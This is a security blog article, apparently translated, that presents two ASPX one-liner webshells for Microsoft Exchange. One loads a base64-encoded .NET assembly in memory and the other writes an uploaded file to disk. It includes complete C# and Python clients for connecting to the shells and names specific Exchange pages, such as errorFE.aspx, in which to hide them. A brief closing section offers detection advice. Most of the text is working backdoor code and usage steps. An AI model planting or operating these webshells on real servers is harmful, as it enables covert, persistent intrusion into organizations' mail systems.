0x00 Preface

---

In the previous article 'Analysis of APT34 Leaked Tools - HighShell and HyperShell', we analyzed ExpiredPassword.aspx in HyperShell, which implements backdoor functionality by adding code to ExpiredPassword.aspx under the Exchange login page.

This article will follow this approach, introducing two additional implementation methods from a technical perspective, open-sourcing test code, and providing defense recommendations.

0x01 Introduction

---

This article will cover the following:

  • Implementation of two backdoor codes
  • Backdoor connection implementation via C Sharp code
  • Backdoor connection implementation via Python code
  • Utilization analysis
  • Defense recommendations

0x02 Implementation of Two Backdoor Codes

---

1. Memory loading of .NET assemblies

Reference: 'Implementing New One-Sentence Trojans Using Dynamic Binary Encryption - .NET Edition'

To shorten code length, the sample test1.aspx code is as follows:

<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>

The code checks for the presence of POST request parameter demodata; if present, it base64-decodes the content of demodata from the POST request, loads it in memory, and invokes an instance named Payload

Note:

sharpyshell also uses the same memory loading approach

We can generate Payload in the following ways:

(1) Create a new file demo.cs

Code is as follows:

using System;
using System.Diagnostics;
public class Payload
{
public override bool Equals(Object obj)
{
Process.Start("calc.exe");
return true;
}
}

(2) Compile to generate a DLL file

The command is as follows:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library demo.cs

After generating demo.dll, perform Base64 encryption and use it as the content of the demodata parameter in a POST request sent to test1.aspx to trigger the backdoor

2. File Write

To shorten the code length, the example code for test2.aspx is as follows:

<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>

The code checks if there is a file upload request; if it exists, it saves the content of the first file upload request to uploadDemo.aspx in the same directory

Parameter description:

  • Request.Files.Count: Number of uploaded files
  • Server.MapPath(""): Returns the physical file path of the current page
  • Request.Files[0].SaveAs(): Saves the first uploaded file
  • Server.MapPath("./uploadByfile.aspx"): Returns the path of "uploadByfile.aspx" in the same directory as the current page

0x03 Implementing Backdoor Connection via C# Code

---

1. In-Memory Loading of .NET Assembly

When sending POST requests with parameters, ContentType must be specified as application/x-www-form-urlencoded

Special attention must be paid to escape characters in POST request content. For example, the character = is interpreted as a special character separating keys and values. When using base64 encoding, the character = is used, so when sending POST requests, the base64-encoded result must be URL-encoded again, e.g., converting the character = to %3d

Complete code as follows:

using System;
using System.Text;
using System.Net;
using System.IO;
using System.Web;

namespace test
{
public class Program
{

public static string HttpPostData(string url, string path)
{
byte[] buffer = System.IO.File.ReadAllBytes(path);
string base64str = Convert.ToBase64String(buffer);

ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };
HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.UserAgent="Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx";

string Param = "demodata=" + HttpUtility.UrlEncode(base64str);
byte[] post=Encoding.UTF8.GetBytes(Param);
Stream postStream = request.GetRequestStream();
postStream.Write(post,0,post.Length);
postStream.Close();

HttpWebResponse response = request.GetResponse() as HttpWebResponse;
Stream instream = response.GetResponseStream();
StreamReader sr = new StreamReader(instream, Encoding.UTF8);
string content = sr.ReadToEnd();
return content;
}

public static void Main(string[] args)
{

if(args.Length!=2)
{
Console.WriteLine(" ");
System.Environment.Exit(0);
}

try
{
string url = args[0];
string path = args[1];
Console.WriteLine("[*] Try to read: " + path);
Console.WriteLine("[*] Try to access: " + url);

string result = HttpPostData(url, path);
Console.WriteLine("[*] Response: \n" + result);
}
catch (Exception e)
{
Console.WriteLine("{0}", e.Message);
System.Environment.Exit(0);
}
}
}
}

2. File Writing

When sending files via POST request, ContentType must be specified as multipart/form-data

Complete code as follows:

using System;
using System.Text;
using System.Net;
using System.IO;

namespace test
{
public class Program
{
public static string HttpUploadFile(string url, string path)
{
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };
HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
request.Method = "POST";
request.UserAgent="Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx";
string boundary = DateTime.Now.Ticks.ToString("X");
request.ContentType = "multipart/form-data;charset=utf-8;boundary=" + boundary;
byte[] itemBoundaryBytes = Encoding.UTF8.GetBytes("\r\n--" + boundary + "\r\n");
byte[] endBoundaryBytes = Encoding.UTF8.GetBytes("\r\n--" + boundary + "--\r\n");
int pos = path.LastIndexOf("\\");
string fileName = path.Substring(pos + 1);

StringBuilder sbHeader = new StringBuilder(string.Format("Content-Disposition:form-data;name=\"file\";filename=\"{0}\"\r\nContent-Type:application/octet-stream\r\n\r\n", fileName));
byte[] postHeaderBytes = Encoding.UTF8.GetBytes(sbHeader.ToString());

FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read);
byte[] bArr = new byte[fs.Length];
fs.Read(bArr, 0, bArr.Length);
fs.Close();

Stream postStream = request.GetRequestStream();
postStream.Write(itemBoundaryBytes, 0, itemBoundaryBytes.Length);
postStream.Write(postHeaderBytes, 0, postHeaderBytes.Length);
postStream.Write(bArr, 0, bArr.Length);
postStream.Write(endBoundaryBytes, 0, endBoundaryBytes.Length);
postStream.Close();

HttpWebResponse response = request.GetResponse() as HttpWebResponse;
Stream instream = response.GetResponseStream();
StreamReader sr = new StreamReader(instream, Encoding.UTF8);
string content = sr.ReadToEnd();
return content;
}

public static void Main(string[] args)
{

if(args.Length!=2)
{
Console.WriteLine(" ");
System.Environment.Exit(0);
}

try
{
string url = args[0];
string path = args[1];
Console.WriteLine("[*] Try to read: " + path);
Console.WriteLine("[*] Try to access: " + url);

string result = HttpUploadFile(url, path);
Console.WriteLine("[*] Response: \n" + result);
}
catch (Exception e)
{
Console.WriteLine("{0}", e.Message);
System.Environment.Exit(0);
}

}

}
}

0x04 Backdoor Connection via Python Code

---

Compared to C#, Python code is more concise

1. Memory Loading .NET Assembly

Send POST request with parameter demodata, content is base64 encoded string

Complete code as follows:

import requests
import base64
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse

def post(url,path):
with open(path, 'rb') as file_obj:
content = file_obj.read()
data = base64.b64encode(content).decode('utf8')
body = {"demodata": data}
postData = urllib.parse.urlencode(body).encode("utf-8")
print(postData)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx"
}

response = requests.post(url, headers=headers, data=body, verify = False)
print(response.text)

if __name__ == "__main__":
if len(sys.argv)!=3:
print('%s '%(sys.argv[0]))
sys.exit(0)
else:
post(sys.argv[1],sys.argv[2])

2. File Writing

Send POST request to upload file

Complete code as follows:

import requests
import base64
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse

def post(url,path):
with open(path, 'r') as file_obj:
data = file_obj.read()
files = {'image_file':(path,data,'image/jpeg')};
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx"
}
response = requests.post(url, headers=headers, files=files, verify = False)
print(response.text)

if __name__ == "__main__":
if len(sys.argv)!=3:
print('%s '%(sys.argv[0]))
sys.exit(0)
else:
post(sys.argv[1],sys.argv[2])

0x05 Exploitation Analysis

---

Whether it is a memory-loaded .NET assembly or a file-written one-liner backdoor, it can not only exist as an independent aspx file but also be inserted into normal Exchange pages

For example, file location: %ExchangeInstallPath%FrontEnd\HttpProxy\owa\auth\errorFE.aspx

errorFE.aspx is the error page of Exchange, where a one-liner backdoor can be inserted

The access URL is: https:///owa/auth/errorFE.aspx

Note:

Files under %ExchangeInstallPath%FrontEnd\ can be directly accessed via the web

Files under %ExchangeInstallPath%ClientAccess\ can only be accessed by authenticated users, meaning access requires a valid user's Cookie

For testing convenience, I have written test programs to connect to the one-liner backdoor, implemented in C# and Python respectively. The code has been uploaded to GitHub, with the following addresses:

An open-source project

An open-source project

The code supports connections for in-memory loading of .NET assemblies and file write backdoors

Supports login authentication, for example, saving the backdoor file as: %ExchangeInstallPath%ClientAccess\ecp\Education.aspx

The accessed URL is: https:///ecp/Education.aspx

For SharpExchangeBackdoor.cs, the following issues need attention when implementing the login authentication functionality:

Normally, when accessing https:///owa/auth.owa, it will default to a 302 redirect to https:///owa. To obtain usable cookies, redirects need to be disabled here.

For SharpExchangeBackdoor.py, when implementing the login authentication functionality, using a session object can automatically handle webpage redirects to obtain usable cookies.

As a test program, SharpExchangeBackdoor's communication data is not encrypted; the in-memory .NET assembly loading function only uses base64 encoding, and the file write function is unencrypted.

0x06 Defense Recommendations

---

For Exchange one-sentence backdoors, it is necessary not only to check for new file writes but also to determine if legitimate pages have been injected with malicious content.

In static analysis, you can check if ASPX files contain the following sensitive functions:

  • In-memory loading: Assembly.Load, Assembly.LoadFrom, Assembly.LoadFile
  • File writing: SaveAs, Write, WriteLine, WriteAllLines
  • Process startup: Start, WinExec

0x07 Summary

---

This article introduces two types of one-liner backdoors for Exchange (in-memory loading of .NET assemblies and file writing), provides open-source test code, analyzes exploitation approaches, and offers defense recommendations.